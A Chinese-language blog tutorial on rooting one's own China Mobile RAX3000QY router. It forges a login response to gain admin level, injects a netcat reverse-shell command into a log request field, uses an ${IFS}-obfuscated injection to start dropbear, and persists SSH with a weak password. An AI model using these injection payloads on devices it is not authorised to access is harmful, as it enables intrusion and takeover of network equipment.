中国移动RAX3000QY SSH提权并固化

前言

开学前，35元从小黄鱼购入一台移动rax3000qy，并且因这台机子比较小，直接塞网络箱里，当主路由拨号，并且体验一下wifi6 到手这台机子固件版本是Ver1.0.0（此为FakeVersion），PING次数为4，并且试尽办法，仍然无法用超管的账户登陆，由此可知，我手上这台机子应该是无superadmin账户的web面板（要折腾的话，要等暑假了）。 本文根据恩山论坛大佬ponyjs的文章和本人的经历总结

需要的工具

• Reqable（或其他抓包工具）
• NetCat
• WinSCP（或其他ssh工具）

正式步骤

破解Shell

1. 启动 Reqable 并设置好代理
2. 用浏览器登陆路由器后台（默认192.168.10.1）
3. 找到路由器后台ip/item/login数据包，右键→修改响应
4. 添加修改响应规则"account_level":"3"替换成"account_level":"1"
5. 重新登陆路由器后台，会发现页面多了一下控件
6. 路由器后台，更多→管理→日志管理，把日志开关打开
7. 在 Reqable 寻找日志数据包，右键编辑
8. 在 cmd 中输入ipconfig查看本机ip地址（此为192.168.1.7）
9. 在请求体websys.log后边添加

|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ip地址 4444 >/tmp/f

![picture7](/assets/img/2025-02-19/Snipaste_2025-02-19_18-43-16.png) 10. 启动 Netcat ，并监听`4444`端口，在 Reqable 中点击发送，即可获取Shell

nc -lvnp 4444

![picture8](/assets/img/2025-02-19/Snipaste_2025-02-19_18-44-00.png)
![picture9](/assets/img/2025-02-19/Snipaste_2025-02-19_18-43-54.png)

解锁ssh并固化

1. 在上步👆 Netcat 中输入passwd，再输入两次admin，设置ssh登陆密码，再在22端口启动dropbear ssh服务

$(dropbear${IFS}-p${IFS}22)

![picture10](/assets/img/2025-02-19/Snipaste_2025-02-19_18-44-34.png) 2. 再打开 WinSCP （或其他ssh工具， cmd 也可），登陆ssh    ![picture11](/assets//img/2025-02-19/Snipaste_2025-02-19_18-45-58.png)    ![picture12](/assets//img/2025-02-19/Snipaste_2025-02-19_18-47-31.png)    ![picture13](/assets//img/2025-02-19/Snipaste_2025-02-19_18-47-50.png) 3. 修改端口和 enable 值

1. 在 WinSCP 里在目录/etc/config右键dropbear文件，编辑它，修改端口和 enable 值，修改成以下

config dropbear
    option PasswordAuth 'on'
    option RootPasswordAuth 'on'
    option Port         '22'
    option enable       '1'

1. 在 cmd 里输入命令vi /etc/config/dropbear，进入vi/vim模式，编辑成3.1一致（vi/vim命令可以看菜鸟教程）
2. dropbear 开机启动
   1. 在 WinSCP 快捷键Shift+Ctrl+T进入终端，输入命令/etc/init.d/dropbear enable
   2. 在 cmd 输入命令/etc/init.d/dropbear enable

---

参考资料

• www.right.com.cn/forum/forum.php?mod=viewthread&tid=8349210&highlight=rax3000q